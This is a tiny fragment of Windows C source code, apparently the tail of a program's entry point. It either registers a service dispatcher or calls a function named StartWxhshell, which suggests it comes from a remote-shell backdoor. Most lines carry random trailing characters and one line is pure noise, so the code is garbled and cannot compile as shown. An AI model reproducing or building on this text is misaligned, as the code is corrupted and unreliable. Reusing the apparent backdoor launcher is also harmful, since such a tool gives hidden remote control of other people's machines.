StartServiceCtrlDispatcher(DispatchTable); VY8p[`
else kNfqdCF{P
// 普通方式启动 DG1 >T
StartWxhshell(lpCmdLine); ZjY_AbD
2XrPgq'
return 0; UwY<3ul
}